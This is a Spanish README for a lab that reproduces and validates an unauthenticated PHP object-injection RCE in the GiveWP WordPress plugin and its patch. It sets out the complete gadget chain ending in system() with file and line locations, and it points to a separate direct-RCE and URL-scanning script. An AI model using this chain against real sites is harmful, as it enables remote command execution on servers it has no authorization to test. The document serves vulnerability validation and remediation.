
# Laboratorio Docker autorizado y PoC limpio para validar la RCE CVE-2026-82222 en GiveWP 4.16.5.1 y la corrección 4.16.7.2.
Material de investigación de seguridad para reproducir y validar CVE-2026-82222 en un laboratorio Docker aislado.
Para el PoC de RCE directo y el escaneo de URL, use CVE-2026-8222-RCE.py
Estado: probado en el laboratorio suministrado
GiveWP 4.16.5.1 permite que un atacante inicialmente no autenticado persista un grafo de objetos PHP, lo reviva a través del manejo de sesiones de GiveWP y ejecute un comando marcador fijo como el usuario del servidor web de WordPress.
Resultado positivo probado:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Resultado: /tmp/CVE-2026-82222-RCE-GETBAG creado por www-data
El resultado de extremo a extremo también se reprodujo contra el código fuente pristino y no instrumentado de GiveWP 4.16.5.1. GiveWP 4.16.7.2 bloqueó el transportador HTTP en la configuración probada y bloqueó de forma independiente el gadget terminal durante un control directo.
Esto demuestra la ejecución de comandos dentro del contenedor de WordPress. No demuestra acceso root, escape de contenedor, movimiento lateral ni compromiso del host.
Use este repositorio solo en sistemas que posea o para los que tenga autorización explícita de probar.
El PoC suministrado está restringido intencionalmente:
touch /tmp/CVE-2026-82222-RCE-GETBAG.--allow-authorized-non-loopback.127.0.0.1.La prueba HTTP crea un usuario donante desechable, metadatos y filas de sesión de GiveWP. Use el comando de reinicio incluido después de las pruebas.
Requisitos:
curlunzipsha256sum o shasumdownloads.wordpress.org para los archivos oficiales del pluginEjecute la matriz completa vulnerable/parcheado:
./lab verify
El comando:
ProviderForwarder parcheado también rechaza el callable de cadena.El laboratorio parcheado permanece en ejecución al final. Elimínelo con:
./lab reset
Para usar otro puerto de loopback:
LAB_PORT=8099 ./lab verify
El control vulnerable debe terminar con evidencia terminal concreta:
[PASS] E1: el registro no autenticado emitió cookie de autenticación
[PASS] E3: el grafo serializado persistió en el propio last_name
[PASS] E4: se obtuvo el nonce del formulario de donación
[PASS] E5: la escritura de sesión alcanzó el estado HTTP esperado posterior al sumidero=500
[PASS] E6: se completó el disparador de lectura/destrucción de sesión
marcador presente y propiedad del usuario web de WordPress
RESULTADO: CONTROL VULNERABLE CONFIRMADO
El control parcheado debe mostrar:
[PASS] P1: la puerta de registro parcheada bloqueó la cookie de autenticación
DIRECT_MARKER=ausente
marcador HTTP ausente y gadget terminal directo bloqueado
RESULTADO: CONTROL PARCHEADO CONFIRMADO
Un HTTP 500, payload almacenado, excepción o detección sin el marcador no se acepta como prueba de RCE.
Inicie y pruebe la versión vulnerable:
./lab start vulnerable
./lab test
Inicie y pruebe la versión parcheada:
./lab start patched
./lab test
Inspeccione el estado actual:
./lab status
Elimine contenedores, volúmenes, usuarios de prueba, sesiones y estado del marcador:
./lab reset
Los ZIP de plugins en caché y los activos extraídos se conservan para reejecuciones más rápidas. Elimine también esos activos generados exactos con:
./lab reset --purge-assets
| Versión | Evaluación |
|---|---|
| GiveWP 4.16.5.1 | RCE reproducido de extremo a extremo |
| GiveWP 4.16.6–4.16.7.1 | Reportado como afectado; no reproducido individualmente aquí |
| GiveWP 4.16.7.2 | Controles negativos parcheados reproducidos |
| Versiones posteriores | No probadas individualmente; actualice a la última versión compatible |
El aviso público identifica las versiones hasta la 4.16.7.1 como afectadas. Este repositorio prueba directamente solo las dos versiones en su matriz de pruebas positiva/negativa.
Referencias:
El exploit combina varios comportamientos:
Give\Helpers\Utils::maybeSafeUnserialize() usa
allowed_classes => false, produciendo __PHP_Incomplete_Class, pero una
serialización posterior conserva los nombres de clase y propiedades originales.maybe_unserialize() sin restricciones posterior revive las clases incluidas.system().Se requieren cuatro barras invertidas literales de espacio de nombres en el transportador HTTP. Las dos
pasadas de eliminación efectivas las reducen 4 -> 2 -> 1. El payload no contiene NUL,
y se verificó que PHP 8.1.30 hidrata el nombre serializado simple para la propiedad
privada Session::$attributeName.
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
Grafo controlado por el atacante:
TCPDF
├── file_id = identificador único de solicitud
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = comando marcador fijo
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
La transición oculta crítica es el despacho implícito de IteratorAggregate
de PHP. TCPDF::$imagekeys no está tipado, por lo que asignar una Session
de Symfony hace que foreach invoque Session::getIterator().
El comando marcador se ejecuta antes de que Symfony aplique el
tipo de retorno getAttributeBag(): AttributeBagInterface. El TypeError
resultante y el HTTP 500 son efectos posteriores al sumidero.
El grafo candidato rechazado usaba:
TCPDF::$objcopy
-> DonationFactory::$loadedProviders['__destruct'] = 'system'
Ese grafo no puede funcionar. TCPDF::_destroy() solo elimina objcopy; PHP no
enruta la destrucción automática a través de __call('__destruct', ...).
La operación faltante era:
foreach ($this->imagekeys as $file) {
La revisión anterior siguió destructores y llamadas a métodos explícitos pero no
inspeccionó recursivamente el protocolo de objetos implícito disparado por foreach.
La Session de Symfony suministra el puente faltante:
foreach invoca getIterator().getIterator() llega a getBag($attributeName).storage controlado por el atacante es un DonationFactory.getBag indefinido invoca ProviderForwarder::__call().loadedProviders['getBag'] = 'system' selecciona el callable.attributeName suministra el argumento del comando.Ubicaciones relevantes de GiveWP 4.16.5.1:
| Componente | Ubicación |
|---|---|
| Unserialize inicial protegido | src/Helpers/Utils.php:203-217,237-241 |
| Transportador de donación | includes/process-donation.php:157 |
| Persistencia de sesión de GiveWP | includes/class-give-session.php:364-368,489-508 |
| Revitalización de sesión sin restricciones | includes/class-give-session.php:347-350 |
| Destructor de TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php:2050-2052 |
| Iteración controlada por el atacante | vendor/tecnickcom/tcpdf/tcpdf.php:7885-7907 |
| Puente iterador de Symfony | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:134-136 |
Puente getBag de Symfony | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:259-283 |
| Callable terminal | src/TestData/Framework/ProviderForwarder.php:19-23 |
| Autocargadores de Composer de GiveWP | give.php:624-625 |
Hashes de las versiones oficiales:
give.4.16.5.1.zip
95fc6709b6ed284074bf09be096e28d6299fd4a103848c2b1c3bf8a5772cf98c
give.4.16.7.2.zip
c5bc98da2abb748c64d31a43679ff5f223092dfff6d214132a55dcbc948e91ae
El laboratorio re-extrae cada plugin de su ZIP verificado antes de cada inicio nuevo, lo copia en WordPress sin modificación y compara byte a byte el árbol de archivos completo del plugin desplegado con el código fuente verificado. Las tres imágenes base oficiales de Docker también están fijadas a sus resúmenes de manifiesto multiarquitectura.
GiveWP 4.16.7.2 añade defensas independientes en el registro, el manejo de entrada serializada, la revitalización de sesión, la migración de datos y el endurecimiento de gadgets.
El endurecimiento terminal requiere que el objeto resuelto implemente el contrato de proveedor esperado:
if ( ! $provider instanceof Contract\Provider ) {
return null;
}
Por lo tanto, la cadena system controlada por el atacante es rechazada. El control
directo en este repositorio omite el transportador HTTP y verifica que esta
defensa terminal por sí sola deja su marcador ausente.
Un resultado negativo del PoC por sí solo no prueba que un sitio esté parcheado. Un WAF, un enrutamiento diferente, el registro deshabilitado, un formulario heredado faltante, la configuración de sesión o las funciones de comandos PHP deshabilitadas pueden impedir el marcador en una base de código aún vulnerable.
Procedimiento de validación preferido:
Verificación de versión:
wp plugin get give --fields=name,status,version
Actualice GiveWP a la última versión compatible. Después de actualizar:
TCPDF, Session
de Symfony o loadedProviders.Si una instalación vulnerable expuesta a internet contiene artefactos de inyección de objetos, trátela como un posible compromiso en lugar de solo actualizar el plugin.
.
├── .github/workflows/validate.yml
├── .gitignore
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── poc
│ ├── direct-pop-control.php
│ └── poc.py
└── scripts
└── fetch-assets.sh
No confirmado:
ZIP oficiales de plugins
código fuente de GiveWP extraído
código fuente del objetivo instrumentado
cookies o datos de sesión
evidencia/registros de ejecución
direcciones internas de destino o credenciales reutilizables
payloads obsoletos de objcopy
salida histórica de validación
| Afirmación | Estado |
|---|---|
| Transportador persistente de inyección de objetos PHP | Probado |
| Revitalización de clases incluidas | Probado |
| Cadena POP completa de stock | Probado |
| Marcador fijo ejecutado como usuario web | Probado |
| Reproducción contra 4.16.5.1 pristino | Probado |
| Controles negativos contra 4.16.7.2 pristino | Probado |
| Cada versión afectada intermedia probada | No probado |
| Privilegio root | No afirmado |
| Escape de contenedor | No probado |
| Compromiso del host | No probado |
El estándar de prueba es deliberadamente estricto: solo un marcador de comando observable a través de la cadena de stock sin modificar se etiqueta como RCE. La aceptación HTTP, la serialización, las excepciones y las detecciones son evidencia intermedia.